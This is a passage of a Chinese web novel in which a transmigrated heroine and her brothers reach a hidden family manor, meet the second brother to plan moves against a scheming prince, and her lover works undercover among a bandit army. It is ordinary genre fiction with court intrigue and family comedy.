“我看看。”喻初晴伸手。 铁制令牌到了她的手里,上面一个文字都没有,正面是个猛虎的花纹,背后则是一把火。 不知道为何,她忽然想起来:“猛虎与一把火的标记是没见过,但这个……铁牌的边缘上的花纹,我好像在哪里见过?” 哥仨儿都看着她,谁也不打扰,让她慢慢思索。 过了一会儿,喻初晴还真想到了:“三皇子,萧金煜!他的袖口上绣着的纹路,就跟这铁牌边缘上的一样!” 她就说肯定是见过的。 这么一说,喻今歌也想起来了:“对哦,我们离开帝京那日,他不是来了么?我虽然离得远,但也认真观察了他一下!” 至于为何要观察? 自然是因为三哥悄悄叮嘱过他:每一个姓萧的男人靠近他姐,都得防! 喻初晴颔首:“是的,我过去不怎么跟他打交道,就最近见了,看得仔细些。” “萧金煜!”喻昔词忽然笑了。 他把令牌接过来,道:“我们明日就能抵达建京,到时候先跟尚武见面。” 喻今歌忙问:“是让二哥去杀三皇子吗?” 喻初晴:“……” 这么直接的吗? 如果这群“响马”真的是萧金煜派来的,喻家自然不会放过他! 喻昔词摇头:“咱们现在要解决响马盗,回祖籍,没空杀他。再说了,帝京的水深,也用不着你二哥动手。放消息给太子,若太子是个爷们,就知道自己应该怎么做!” “明明可以让太子去杀他兄弟,为什么要让二哥去杀,平白弄脏自己的手!”喻慕文漠然道:“谁的储君之位,自当谁自己守护!” 喻初晴:“……” 很好,很强大! 她今天已经沦为无语姐了! “好了,我们继续赶路吧,等安定下来了,再把事情谋划谋划。” 喻昔词话是这么说,却定然是心中已有成算。 喻初晴也没问,她自己也有自己的想法。 收拾好战场后,一行人重新出发。 七月廿四这一天,抵达建京。 萧氏攻打前朝的时候,最先是在建城创立政权。 故而,在战胜后,定都帝京,把建城改名建京,作为陪都,也称建京为南都。 建京与帝京遥遥相望,相隔六百里地。 萧氏五代以前的祖坟,便在建京这边,被称为南陵。 “建京!”喻今歌看着前方城门上的两个字,满脸都是好奇。 他本以为要进城。 孰料,他们的车队并不进城,而是绕过城池,一路往山上走。 车队又走了半日光景,进入一个山坳里。 上山的路已经很狭窄了,神奇的是——喻惊鸿所制作的马车,竟然还有折叠功能! 别说喻今歌了,就是喻初晴都惊呆了。 我滴个乖乖,我爹是鲁班再世啊! 原本预计是半丈宽的马车,一折叠,压缩空间后便只剩下一米宽了。 因为马车要折叠上山,所有人都要下车步行,一部分行李靠马背驮着。 走了一个时辰后,经过十分隐秘又繁复的走位,突然好像穿过了什么屏障似的,原本普普通通的山景,忽然豁然开朗! 大片大片的桃林映入眼帘。 喻今歌震惊:“不是……今儿个不是七月廿三、不是秋天了吗?怎么还有桃花?” “应该是阵法吧。”喻初晴自己不会,难道没看过电视剧么? 阵法,结界,挑一个自己喜欢的来理解。 “不错。”喻惊鸿颔首:“你小叔传承祖上的绝学,精通奇经八卦。这座山庄隐藏在山林里,靠着阵法的保护,不会被外界发现。” 喻今歌眼睛瞪得老大:“我也想学!” “你什么都想学!”喻慕文用佛珠扣了扣他的脑门,道:“你到底能学几样?” 喻今歌顿时泄气了:“那我慢慢学,先学医,学会了再学八卦阵,不行吗?假如我能活到六十岁,现在我才十三,我还有四十几年的时间,难道还学不会几样东西?” “行!”喻慕文乐了:“有志气啊我小弟!” 喻初晴也笑了:“那就学,想学就学,不用考虑那么多。” 马车重新打开,他们乘坐马车,来到山庄门外。 喻初晴仰头,看着门楣上的匾额: 临夏山庄。 第161章 5.26 喻初晴恍然想起,好像前朝的国号便是夏? 夏河就是前朝命名的,当朝建立以后,并没有改名。 不能怪她敏感。 经过种种细节,她早就脑补完了,八九不离十! 但她没吱声。 “晴晴,你先洗漱洗漱,休息一下。”喻昔词转头叮嘱她:“这里往东去五十多里就是建京,往西去长宁郡约摸七十里。我昨天已经命人送消息去给尚武,让他往这边奔,在九亭驿站会面。你休息好了,入夜后我就带你过去。” “我也去!”喻今歌举手。 被喻慕文一把拽走了:“你凑什么热闹,老实待着,用得上你的时候大哥自然会提。” 喻今歌:“我也想见二哥啊!” 但他被大哥无情拒绝了:“你不去!” 一个眼神过来,他老实闭嘴。 喻初晴感慨:大哥的威严杠杠的,爹娘都得给面子。 而喻惊鸿和白婉蓉夫妇,依旧好得跟连体婴似的,有大儿子在,他俩啥事儿也不需要操心。 白婉蓉依旧是个柔弱美妇人,好像九环大刀没出现在她手上过似的。 她搀着丈夫的胳膊,温柔叮嘱:“昔词,你可要保护好你妹妹啊。” 如果不是喻初晴亲眼看见病弱妇人操大刀的模样,谁跟她说她娘亲会砍人,打死她也不会信的。 她很难想象,亲妈大刀砍脑袋像砍瓜剁菜一样的事,是真的发生过吗? 这爹啊娘啊的,为什么反差这么大啊? 屠夫手捻绣花针,病弱妇人操大刀! 喻惊鸿也道:“但凡晴晴有半点闪失,打断你的腿!” “是,儿子理会得。”喻昔词很自然地接受了父母的恐吓——没错,娘亲的温言善语,也有恐吓成分! 喻初晴感受到了,什么叫做五代唯一的姑娘的含金量! 她无法想象,回到族里,她是不是会被当成大熊猫来对待? 当然,那是后面的事了。 还是当前的事比较重要! 进了分给她的院子,她人还没坐下,先吩咐:“覆雨,让樵送消息过去。” 覆雨问:“告知王爷,县主在建京?” “嗯。说一下吧。”喻初晴颔首:“虽说离得有点远。” 有点想见他了。 但是现在这战局紧张,想见一面估计不容易。 她这边有阵法,与萧风岚隔着夏河。 而他所在,是响马盗的腹地身为卧底想要离开,不是那么容易的。 覆雨有点为难:“婢子听樵说了,临夏山庄外面的阵法太高级,咱们破不了!” “无事。”喻初晴冷静说道:“晚上大哥带我出去,把樵带上,不就出去了么。” 渔樵二人扮成了侍卫跟着他们南下,随行保护她。 覆雨颔首:“婢子明白了。” 入夜。 小憩过后,一家子用了晚膳,喻昔词便带着喻初晴出门。 临夏山庄西去三十几多里,九亭驿站。 喻尚武从长宁郡过来,也是三十多里,但他一个人的行动,自然比喻昔词带着喻初晴要快很多。 加上他离开家已经好一段时间了,长这么大从来没跟家人离得这么远,多多少少有点恋家。 所以,他早早到了,并没有进驿站,而是杵着个锤子,蹲在驿站的门头瓦檐上。 等了一个多时辰,才终于见一行快马奔来。 他耳力很好,听到马蹄声便站了起来,锤子扛上肩头,远远看着声音传来的方向。 即便是在黑夜里,他的目力也很好,远远看见领头的是高大威猛的大哥。 那晴晴呢? 本以为大哥会带晴晴共乘一骑,但没见她人! 直到几匹快马都近一些了,他才看清楚—— 喻初晴扎了高马尾,穿着一身褐红色的骑行装,骑着一匹黑马,隐藏在夜色里完全看不出来。 她后面跟着覆雨,还有另一名好像见过的男护卫。 而喻昔词也带了他的长随蓝哲。 喻尚武跳了下来,迎上去:“晴晴!” 眼里完全没有他大哥,等喻初晴勒马停下,他立刻上前拉住辔头,很是惊讶地道:“晴晴,原来你会骑马啊?” 在他认知里的妹妹,是温婉沉稳的大家闺秀型的高门贵女——即便她并非亲生,也是在南阳侯府长大的,算得上。 他从来没见她跟谁红过脸、发过怒,更不要说动手。 可方才见她骑马来,也是英姿飒爽啊! 喻昔词瞧着二弟小心翼翼地伸手去扶妹妹,简直没眼看。 “尚武,你眼里就只有妹妹,大哥是隐形的不成?” 喻尚武充耳不闻,头也不回,完全不看他大哥。 他将喻初晴扶下马来,道:“晴晴你累着了吧?饿不饿?渴不渴?” 他把背在身后的行囊拿下来就要解开:“我买了一些长宁郡才有的吃食,和本地才有的果酒,你尝尝!” “二哥。”喻初晴哭笑不得,赶忙按住他的手阻止他:“我们先坐下,一边谈事、一边吃东西也不迟呀!” 喻尚武一愣。 他摸了摸脑袋,冲她一笑:“也是。我买了东西就过来了,迫不及待让你尝尝呢,忘了这里不方便。” 喻昔词无语地看了这傻弟弟一眼:“走吧。” 没有进驿站,而是带着众人进驿站旁边一家客栈。 坐下后,喻尚武眼里还是只有他妹妹:“晴晴,帝京的事解决了吗?南阳猴怎么样了?你没被欺负吧?” “你好歹问一下爹娘怎么样了!”喻昔词实在是看不下去了,一巴掌朝他后脑勺抽了过来。 对妹妹好是应该的,但也不能把父母给忘了。 身为长兄,必须教育好弟弟。 喻尚武何等的身手,喻昔词本就没怎么用力,他完全可以躲过去。 但想到这是大哥,他认了,尽量卸去力道挨了这一抽,道:“娘有爹护着,跟眼珠子似的,身子骨也在晴晴的调养下利索多了,她能有什么事?爹就更不要说了,他就是只老狐狸……” 说着,又被喻昔词抽了一记。 血脉压制,喻尚武还是没敢躲开,只能是尽可能巧妙地卸去挨揍的力道,尽可能满足大哥抽弟弟的成就感。 他咕哝着抱怨:“大哥,我都多大的人了,你还动不动就打我,我不要面子的吗?” 抱怨也不敢大声。 喻初晴看得好笑,决心帮帮二哥,果断转移话题:“大哥,我们说正事吧。” 喻昔词很给她面子:“嗯。” 转头问:“战局如何了?” 第162章 宁错杀不放过 妹妹的问题,喻尚武是很殷勤回答的。 他一边给妹妹倒果酒,一边答道:“太子领着三万兵马,在长宁郡这边、夏河北岸扎营。” “目前,长宁郡上游五百里,下游三百里,都已经全线戒备。咱们这边过不去,响马盗那边也过不来。” “太子驻扎下来后,便下令,搜捕击杀夏河以北的所有响马盗,最近也是杀了、抓了不少。” “应该说,太子南下后打了几仗,收复了夏河以北的失地。但有夏河作为天险,如今两方只能僵持着,常家军无法北上,南征军也无法南下。” 喻大美人一读诗词歌赋就犯困,看兵书却是精神万分。 从小在大哥的压制、孪生三弟的监督下,他不得不好好念书。 虽说文才不行,但比大字不识一个的纯武人,还是强很多,逻辑非常强。 喻昔词似乎终于对他满意一些了,放弃了念叨他的想法,道:“我们临近建京的时候,遇袭了。” “啊?”喻尚武连忙看向喻初晴:“妹妹,你没事吧?” 理所当然的,又被喻昔词一抽过来:“晴晴怎么能有事?你当你大哥我是吃素的,在我和三弟的眼皮底下,能让妹妹受伤害?” 他们早做安排,一直保持队形。 喻昔词带着几人打头,骑马在前方带路,然后是喻惊鸿和白婉蓉的马车,紧接着是喻初晴和喻今歌的,后面则是行李。 老三喻慕文一直跟在喻初晴的马车旁边。 在他们后方,也有一小队侍卫。 遇袭第一时间,本在最前方领着商队的喻昔词,立刻坠到了后面来,与喻慕文一左一右,保护妹妹! 不是爹娘不值得保护,而是保护妹妹更有性价比。 现在喻初晴才是他们的金疙瘩大宝贝,没有妹妹回去认祖归宗,老爷子是不会让爹娘回村的! “哦,那就好。”喻尚武放心了,从小被抽大的,也不计较挨揍的事,问:“袭击你们的是什么人?” 喻昔词说道:“这群人伪装成响马盗,但从搜到的证物上,我们推测可能是三皇子的人。” “想要浑水摸鱼?”喻尚武用他那平时不爱用的脑子,认真思考片刻,问:“只是想要抢商队,还是……” 目光瞟到妹妹脸上,问:“想对付晴晴?” 总有刁D民想害他妹妹! 但他这想法,还真没猜错。 喻初晴颔首,道:“很可能是冲我来的,萧金煜应该不想我成为太子的助力。我留在帝京还好,结果我要出远门,他刚好趁着我们南下的途中,把我给灭了。” 说到这里,她唇角勾起一抹夹带血雨腥风的笑意,道:“站在他的角度,无论我是否能帮太子做什么,只要我不帮他,他宁错杀、不放过。而站在我的角度,三皇子也好、五皇子也罢,他们想要搅乱朝局、影响我的稳定,我也一样是宁错杀、不放过!” 她说的不是影响太子的地位。 而是:影响我的稳定! 太子是谁,问题不大。 但他们兄弟相残,却想让她当炮灰,那就扯淡了。 喻尚武神奇地抓住这个点:“那我还帮太子吗?” “帮啊。”喻初晴笑道:“不是帮太子,是借太子的手,维稳!庙堂之上需要稳定,江湖之远也需要稳定。只有大环境稳定了,我才能欣欣向荣!” 她不是出于爱国情操,也不是出于对谁忠心,纯属于为自己稳定。 所以,她站哪一方,就看谁的目的与她相同。 而后面…… 若是太子不让她稳定,她就让太子长期稳定——一眼看完后半辈子的那种! 萧金煜想要她的命,那他最好祈祷自己有命等到她回帝京! “所以我暂时还是帮太子把仗打完。”喻尚武明白了:“那我现在要怎么做?” 他进东宫当差,一来是太子要讨好喻初晴安排的,二来吧,喻初晴也是希望他在太子身边能盯着点动向。 “大哥说吧。”喻初晴看向喻昔词,给了自家大哥充分的尊重。 喻昔词先讲第一件事:“尚武,你回去太子身边,提议他无论用什么法子,尽快把萧金煜给除掉。” “好!”喻尚武问都不问,直接同意了:“敢把主意打到我妹妹头上,必须杀他!” 顿了顿,他又问:“要不还是我去吧?我去比较容易得手,也好控制进度。” 谈及这等要紧事,喻昔词的眼神格外有震慑力:“让萧景明去,你不动。” 喻尚武愣了愣。 有大哥出脑子,他把脑子一抛就是听:“行。如果太子要我去,我就找借口推辞掉!” 对这个能动手绝对不用脑的弟弟,喻昔词也是很了解,所以跟他说话的时候,都会采取填鸭式硬塞。 强行要求喻尚武去干的事,他就能完成得很标准。 如果含糊其辞让喻尚武自己思考该怎么做的话,他做出来的成果良莠不齐,运气好了能在轨道上,运气不好能歪到天马行空外! 所以,喻昔词第二件事便是交代:“太子身边必定有很多敌方的内应,让他尽快用不打草惊蛇的方式排除。” “哦。”喻大美人点点头,睁着一双大眼睛,成功接收指令。 喻初晴犹豫了一会儿,还是说了出来:“我……在敌方有个卧底。” 都走到这一步了,她要完全隐瞒萧风岚,怕是行不通了。 也不纠结,瞒不住的话,就不瞒了。 兄弟俩都震惊无比地看着他。 喻尚武更是直接问:“晴晴,你什么时候安排的?” “很早了。”喻初晴答道:“也不能说是我安排的,只是我有这个门路。并且,保证对方绝对可靠。” 的确不是她安排的,是皇帝萧全让萧风岚去查,萧风岚自己决定以身入局! 喻昔词蹙眉,总觉得妹妹隐藏得太深了,问:“你先前怎么不说?” 喻初晴默了。 她不知道怎么回答这个问题。 但,还是必须回答:“因为对方身份比较敏感,说出来不合适。” 相对模棱两可的说法,不算对哥哥说谎。 然而,她大哥是什么样的人? 他竟然一眼看穿:“该不会是……那位吧?” 第163章 人心中的成见 当着喻尚武的面,喻昔词没说明白。 其实也不难猜:喻初晴虽然很低调,但是对自家人一般不会藏着掖着。能让喻初晴对他含糊其辞的人,只有她暗中相好的那不知名的小白脸,是无论他如何试探她都不松嘴的! 别问为何是小白脸—— 大老爷们偷偷摸摸跟女子玩地下情,不是小白脸是什么?吃干抹净也不站出来负责,算什么大丈夫? 假如他想负责,而喻初晴不想,那就更小白脸了! 但凡是个有本事的,为何这么长时间,还拿不下晴晴、让晴晴首肯成亲? 综上:那个男人不行! 当然,喻昔词不会去想:是我妹妹太难搞,搞不定她才是正常的! “那位?”喻尚武是完全懵逼,看向自家妹妹:“哪位?” 不得不说,喻大美人真的蠢萌蠢萌的。 瞪着一双大眼睛,看上去好像有两分精明,实际上……脑子一扔就是哐哐干! 喻初晴无奈,垂手低笑:“大哥太聪明了,让妹妹很有压力。” 见她坦然承认了,喻昔词恍然:“难怪他好一阵子没来了,原来是去了长丰郡?” 他就说嘛,怎么好一段时间不见她会小情人了。 顿了顿,好像对那个不知名的小白脸印象好了一丢丢:“这般危险,他愿意以身入局,倒是像点样子。” 有点男人样! 喻初晴:“……” 萧狗子,我哥哥他们对你有天然成见,人还没见过呢,就下意识讨厌了,那我是真的没办法。 父兄看谁都像黄毛! 这还不知道他姓萧呢,知道以后还不知会怎样! 唉,不得不感慨是:人心中的成见,是一座大山! 他俩对话很流畅,却跟打哑谜似的,喻尚武一头雾水:“不是……你们说的是谁啊?我认识吗?我见过吗?” 喻昔词没吭声,看向喻初晴,让她自己回答。 “一个……”喻初晴硬着头皮解释:“我的一个至交。” 至交这个词,用的就很妙! 喻昔词看着她的眼神,颇有些恨其不争,更多的还是无可奈何。 要是从小在身边长大的妹妹,他高低得训斥训斥。 可面对喻初晴,不能。 本就不在身边养大的,他耍什么大哥威风? 何况,喻初晴这个人很有主见,说了她难道她就会听? “哦。”单纯的喻大美人信了:“那这个人也是很有本事了!” 对妹妹说的话,深信不疑! 他问:“那现在怎么打算?让你那个在敌军内部做内应的知交好友,给太子这边送消息?” “不。”喻初晴否定了这个答案:“让他给二哥送消息!” 暂时是这样决定的。 其实她不太想留在这里被保护得好好的,更希望去到长宁郡,亲眼看看战局。或者,在能与萧风岚顺利通消息的地方。 “啊?”喻尚武顿时感觉亚历山大:“给我送消息,那我不还是得转过来告知太子?难道,你还指望我来消化消息,给太子当智囊?” 他指着自己的鼻子,一双美丽的眼睛瞪得超大! “晴晴,你是不是太高看我了!” 喻初晴被他逗笑了,道:“你放心,我会派个人过去帮你。” “为什么不直接……”喻尚武话说到一半,忽然想到了什么:“哦,晴晴你莫不是想让我占个功劳,好在南征响马盗的战事中获得军功,班师回朝后论功行赏,我就有品级了?” 到时候,就不是单纯的太子亲卫了。 “嗯。”喻初晴不想解释那么复杂,同意了他这种说法,道:“所以二哥要努力,你有品级后,到时候我再想法子给你调离太子亲卫,以后,咱就不在太子麾下做事了。” 喻尚武脑子灵光一现,总算彻底明白过来:“晴晴是打算不再站太子了?” “嗯。”喻初晴给了他一个赞赏的眼神,夸他:“二哥真聪明!” 喻昔词:“……” 喻尚武顿时乐开了花,摸着脑袋乐呵呵地笑:“那当然了,我本来就不是个蠢人,当然,还是晴晴更聪明。” 话音落,又被他大哥一抽! 喻昔词万分无语地道:“给你点阳光你就灿烂,给你点洪水你就泛滥,是吧?你还要不要脸了!” 喻尚武顿时委屈:“不是……晴晴都说我聪明了,难道你弟弟我很蠢吗?” “二哥本就不蠢。”喻初晴实事求是地道:“全怪兄弟衬托!要怪就怪大哥三哥太聪明了,怨不得二哥一点。” 确实不是蠢的,喻尚武就是个很正常人的正常智商,他的技能值全都点给武力值了。 哦不对,还有美貌值! 漂亮吗? 用被兄弟碾压到谷底的智商换的! 喻昔词也是被她这种说法说无语了。 算了,争论这个没意义。 他把话题转回来:“既然晴晴安排了人去帮你,你好好表现。虽然按咱们家的惯例,并不想为萧氏皇朝效力。但既然晴晴需要,做一点事也未尝不可。尤其是,这是为百姓。” “行!”喻尚武被妹妹夸得嘴都咧到了耳根,妹妹叫他干什么他都必须行,连带的对大哥的恐惧都没那么强烈了。 喻昔词又道:“我这边也会派人跟你通消息,目前我们住在临夏山庄,离得不远,有事你及时发信号。” “知道了。”喻尚武懒洋洋地将大锤换了个方向。 其实他根本不知道临夏山庄在哪儿! 几人又就目前的战局聊了一会儿,眼瞧着临近子时了,喻昔词站起:“不早了,回去吧。” 喻尚武转头对喻初晴道:“晴晴,你这样跑来跑去会不会太累了?毕竟舟车劳顿的,要不……你留在驿站住一晚?” 喻昔词当即道:“能有多远?咱自己家是住不下了怎么的?” 要原先不知道那个小白脸在长丰郡做内应之前,也就没什么。 现在知道那人就在距离这里不算很远,他就不得不提防了! 妹妹玩几个男宠不要紧,就怕她把对方当真,什么牛鬼蛇神就把她妹妹娶走了,他不会同意的! 而现在,喻初晴明显对对方挺看重的。 不行,回去的路上,还是得跟晴晴好好谈谈! 第164章 俞青 “回去吧。” 喻初晴笑着,也站起来,道:“爹娘、三哥和小弟,他们知道我们出来见二哥,估摸着我们没回去之前,他们也睡不着,不能让他们担心。” 喻惊鸿夫妇心大得很,但那是平时。 如今他们处身在战场的边缘,刚刚还遇袭过,他们不可能完全不担心。 儿子就算了,宝贝女儿也在涉险啊! 双方辞别,真正的各奔西东。 喻尚武朝西去,喻昔词与喻初晴往东回。 下旬的月亮不是很亮堂,倒是秋季的夜空显得十分高远,星罗棋布,很是好看。 回到临夏山庄,喻昔词送喻初晴回院子。 “晴晴。”他必须把这件事拿出来慎重提一提了:“你与那个人,究竟是怎么打算的?” 喻初晴明白:以喻家对姑娘的珍视程度,这个五代以来唯一的闺女的婚事,就显得格外重要。 不仅仅是喻昔词,只怕家族里任何一人,都不会愿意看她随随便便找个垃圾男人,甚至有可能遇上负心汉! 而且,隐世家族对于往外通婚,应该是非常抵触。 想了想,她问:“大哥,族里跟外界通婚吗?” 喻昔词答道:“通。但外面的人来了后,就出不去了。毕竟任何一个不慎,都可能给家族带来灭顶之灾。若对方实在不肯留,我们也有各种法子将其驱逐,再不让回。并且,在我们这里生下的孩子无论男女,都不能带走。” 喻初晴:“……” 好绝! 喻昔词再问:“你怎么打算?还是玩玩?” “我现在也拿不定主意。”喻初晴坦然道:“我原来就没想过要成亲,本来想的是,在一起舒坦就在一起,哪天感觉难受了,就果决切断关系分开。” 喻昔词并不说她这样的观念是对是错—— 他只问:“这样的感情岂非更不安定,你为何不想要安稳的婚姻?” 喻初晴摇了摇头:“这样的感情,要继续还是要分开,主动权在我手里。一旦踏入婚姻,我会很被动。” 她在现代的母亲摆在面前的案例,时时刻刻提醒着她:婚姻是枷锁! 约摸从她十岁开始,她那渣父,便一直外遇不断。 一开始只是小情人,小打小闹。 被母亲抓到了四只脚,就各种痛哭流涕、下跪认错,说要回归家庭。 然而事实是,他换了个女人罢了。 后来的十多年里,他发展成为包养小三,稳定开二房、三房。 找的三儿,年纪都跟喻初晴差不多! 母亲的婚姻保卫战打了很多年,不但无果,还屡次遭遇家暴。 喻初晴多次劝说母亲离婚。 即便财产分割困难,大不了全都不要,断臂止损! 她可以养得起母亲的晚年。 甚至,霸总朋友也表示可以帮忙。 但—— 每个人的想法是不一样的,有些人是糊不上墙的。 母亲非要认为:自己付出了那么多、青春都赌在了这个男人身上,什么都得不到离开,是输家、是不体面、是便宜了狗男女。她不好过,绝不会让死男人好过! 二三十年的夫妻,沉没成本有多少,的确很沉重。 但,不肯放手,何尝不是守着发脓溃烂的伤口,每天都痛苦? 她劝了一次又一次,甚至有几次都送到民政局门口了,母亲又临阵反悔。 怎么说呢? 对外人,她可以尊重、祝福、锁死。 但这个人,是她的母亲啊! 从小在这样支离破碎、鸡零狗碎的家庭里长大,喻初晴很早就学会水泥封心。 在现代也是二十大几的人了,看男人通常都是用X光射线的眼神扫描,一眼看到底,压根提不起兴趣。 而且,她霸总朋友以及那群兄弟,真的是网文男主的类型,拉升了她的审美。 想遇上萧风岚这种,完全长在她审美点上的男人,很难。 他不仅长得好、身材好、那方面能力强,智商高、情商也高。 有权有势,有财有貌,高位者愿意放低身段,还愿意低头做小哄着她。 在现代,她是真找不到这样的! 但即便如此—— 她还是不想踏足婚姻。 或者说:不敢。 再怎么强大的人,心底里有一道永不愈合的伤口,平时没事,一触就痛! “晴晴?”喻昔词不明白她的情绪突然就变得有些消沉了。 他提出一个最好的办法:“真喜欢就招赘回来,养着他,全家眼睛盯着他。你绝对不会被动!” 喻初晴怔了怔。 好像也是哈! 古代赘婿的地位可低得很,而且她有兄弟,不会是被吃绝户的那种。 确实可以考虑赘一个男人回来! 可这个人是萧风岚…… 他愿意,皇家能肯? 哦,最重要的是:他姓萧,喻家也不肯! “再说吧。”喻初晴笑了笑,道:“等响马盗的事情解决了,我……” 她斟酌了一下,道:“到时候我带他跟家里见见。” “好。”她终于让步了,喻昔词松了一口气,道:“倘使对方不是好东西,做大哥的就算得罪你,也会把他打跑!” 喻初晴没再说别的。 什么样的才算好东西呢? 每个人对好东西的定义,是不同的。 萧风岚…… 其实算挺好的了,给她情绪价值比较高! 喻初晴躺下的时候,还在思考一个问题:如何解决喻家不与萧家联姻的问题? 招赘,上门女婿没人权,孩子都不能跟他姓,算联姻吗? 她强行把萧风岚娶了,从此后他叫喻萧氏,不就不姓萧了? 这样是否可行? 在线等,挺急的! 淮明郡、常家军营地、主帅营帐。 常胜和常利兄弟俩,在与一众头目商量军情。 人高马大的美少年,坐在一只小小的马扎上,在营帐的角落里…… 打瞌睡! 头一点一点的,一会儿差点摔下去,他茫然扫一眼,发现还没谈完,再次阖上眼睛。 目前的战局,重心在淮明郡。 他非说要跟常利一块过来,常利受不了他的日磨夜磨…… 主要是那小嘴叭叭叭,一个意思能换二十种词儿。 不答应他,大本营的兄弟就遭殃了——他天天闯祸、鸡飞狗跳! 常胜松口:把他带上吧,脑子还是挺机灵的。 主要是,先前几次打仗,这小子出的主意都非常好用。 手脚不行、脑子很灵! 于是,他便跟他们来了淮明郡,也被带进了常家军的帅帐,参与首脑集会。 “俞青!俞兄弟!怎么睡着了?醒醒!” 第165章 可惜他们不知道这叫死绿茶 萧风岚被推了几把,睁开了眼睛。 一双漂亮的眼眸迷迷糊糊的,上面还有可疑的颗粒。 他抬手揉了揉,打了个呵欠,眼角顿时变得湿润起来,茫然问:“谈完了么?我的鸡腿呢?我饿了!” 众人:“……” 但,他这个样子,大家也是见惯不怪了。 战事胶着,每个人都很紧张,偏他能让人感受到一丝和煦。 情绪价值。 常利没忍住笑:“前日吃鸡腿,昨日吃鸡腿,今天还要吃?你就不腻味么?” 萧风岚刚睡醒,脸上还是一片呆萌,头摇得像拨浪鼓:“不腻呀!我至少还能再吃六天!主要是,荷叶烧鸡超好吃!常二哥给我买的,比什么都好吃!” 常利没忍住笑了。 谁能忍得住,不喜欢这样赤诚的追捧啊! 但,不奇怪是不奇怪,看不顺眼他的人,还是有的。 常家军在百姓口中是响马盗,他们自己人当然不会这样标榜自己。 当响马盗成了气候之后,从上到下等级分明、规矩森严。 他们按照江湖绿林帮派的模式,首脑是总舵主副舵主,下来是十二堂主,每一个堂主分下来又有十二香主。 王瑞鹏,乃常家军麾下负责淮明郡军事的头目,也是十二堂主之一,淮明郡便是他带人打下来的。 他历来崇拜武力猛的,从这个叫俞青的美少年跟着总舵主副舵主一起来了之后,王瑞鹏对他就一直不待见。 觉得俞青弱鸡,小白脸,除了谄媚一无是处。 此时更是难掩心中不屑,嘲讽地说道:“一个成日只惦记着吃的人,能有多大出息?副舵主,你就是太宠他了!” 他们是让人查过俞青的,结果跟他本人说的基本一致。 帝京人氏,俞家不算权贵门户,但在帝京也算是小小冒头的。 俞家子嗣兴旺,族内兄弟争夺资源难免就会下手狠。 俞青就是被挤兑出来,重病之下,扔到了南方庄子上自生自灭的。 明面上是庄子里的营收养着他,但他在庄子上过的实在算不得什么安稳日子,属于庄子上的仆妇都敢对他吐口水的那种! 他心里充满了对俞家人的怨恨。 有点小聪明,没啥大本事,人却真是闯祸的一把能手! 常利还是十分顾着救过自己一命的恩人,不悦地看了王瑞鹏一眼:“别这么说他,我看他这性子蛮好的。人生在世,不过吃饱穿暖四个字。早先咱们要不是吃不饱穿不暖,也不可能干这个脑袋拴裤腰带上的事儿。能吃是福,他也没说要吃龙肉,不就是吃几个鸡腿而已,有什么不能满足的。” 江湖人嘛,就是讲义气最重要! 王瑞鹏哼了一声,道:“我就是看不顺眼他那白斩鸡的样儿,干啥啥不行,搅事儿第一名!” 长得漂漂亮亮的小白脸一个,弱风扶柳的。 来了淮明大营后,头一天还因为入秋了,说夏被太薄,他夜里着了凉,得了风寒病了几日! 他们这些人,刀口舔血的,都是五大三粗的老爷们,做事风风火火的。听说,昨天有个人撞到俞青,这小子竟然一摔一丈外! 这种人,要不是有救副舵主的恩情,早被他们扔到夏河里去喂鱼,哪里由得他在营里蹦跶! 萧风岚挑眉,这就不肯听了:“不是,王堂主你对我是不是有意见?” 王瑞鹏一愣,看见他那一脸懵的样子,气笑了:“真难为您看出来了!” “我……”萧风岚眨了眨眼睛,转头对常利扁嘴,可怜兮兮地道:“副舵主,我自知自己不是什么英雄好汉,但扪心自问,好似也没有得罪这位堂主大人。他是堂主,我比不得他厉害,他对我有意见我受着就是了。可当着这么多人的面,连个烧鸡都不让我吃,是不是太欺负人了?我就只是喜欢吃烧鸡,有错吗?” 众人:“……” 可惜他们不是现代人,不知道这叫死绿茶! 而无论男人还是女人,讨厌绿茶的根本原因通常是:绿茶的对象不是自己! 王瑞鹏气得七窍生烟:“总舵主、副舵主,你们瞧他那小样儿,勾栏的花娘都没他这么矫揉造作!” 被绿茶的对象常利:“……” 他当即阴了脸:“俞兄弟在力气方面的确是差了点,那也是他从小营养不良、被欺负多了,能活下来都属他坚韧。他以前可是个读书人,你怎么拿咱们这类人跟他比呢?” 萧风岚一听这话,整张脸都亮了,用崇拜的目光看着常利:“副舵主!你就是我的在世知音,是我嫡亲亲的二哥!你知我、懂我,疼我、怜我,我要为你肝脑涂地、两肋插刀!” 这种崇拜的目光,谁不受用啊? 常利拍了拍他的肩膀:“二哥从小过的粗野的生活,风里来火里去的。你跟二哥不一样,莫要说这种傻话!” 他这一拍,萧风岚身子一歪。 凳子倒了,人也摔在了地上! 王瑞鹏:“……没眼看,娘儿们还能受得住几下撞,他比娘儿们都不如!” 他撇开头去。 这回,常胜都忍不住说话了:“瑞鹏,以后这种话别说。俞兄弟怎么说也是个男子,别人说你娘儿们,你不觉得难忍么?” “对!”萧风岚从地上爬起来,一点也不介意衣裳都乱了,拍了拍屁股上的土,说道:“我堂堂男子汉大丈夫,可不是娇滴滴的美娇娘,有的是力气和手段!” 他还把胳膊伸出来,想要展现他的肌肉。 这次,被常利阻止了,拉下他的袖子,道:“好了好了,瑞鹏这个人说话比较直,他没恶意的,你别多想。都是自家兄弟,吵吵闹闹这些,还不如好好想想,咱们怎么把对面的长宁郡打下来!太子的首级还等着咱们去割呢!” 他明显是打圆场。 萧风岚乖巧点头:“我都听常二哥的!” 王瑞鹏哼了一声,不想说话。 但又实在忍不住,斜眼盯着萧风岚,道:“话说,帝京俞家如今是太子党。他再怎么着也是俞家人,当真不会背叛咱们?” 审视的目光,落在了萧风岚脸上! 第166章 他的刀要按不住了 背叛两个字一说出口,所有人的关注点,顿时都在萧风岚这里了。 尤其是,俞家站太子是真的! 但他却还是睁着一双漂亮的眼睛,眼里都是茫然。 转头就问常利:“常二哥,我在这营里,是不是让你为难了?我可以走的,我再回到长丰郡俞家庄子上去没关系的。不过,我想求二哥帮我个忙。” 他用非常诚恳的目光看着常利:“能不能帮我把那嚣张的仆妇打死,免得她找人写信回帝京告状,俞家再派其他人来折磨我。换个人肯定不是吐我口水这么简单了,我又打不过他们……” 好懂事! 却又好可怜! 委屈巴巴的! 常利看得揪心不已,深深吸了一口气,看向王瑞鹏:“瑞鹏,你是不是不把老子放在眼里?有本事你去河对岸,拿下太子头颅!一个劲儿跟俞兄弟一个肩不能挑、手不能提的书生过不去,算什么能耐?” 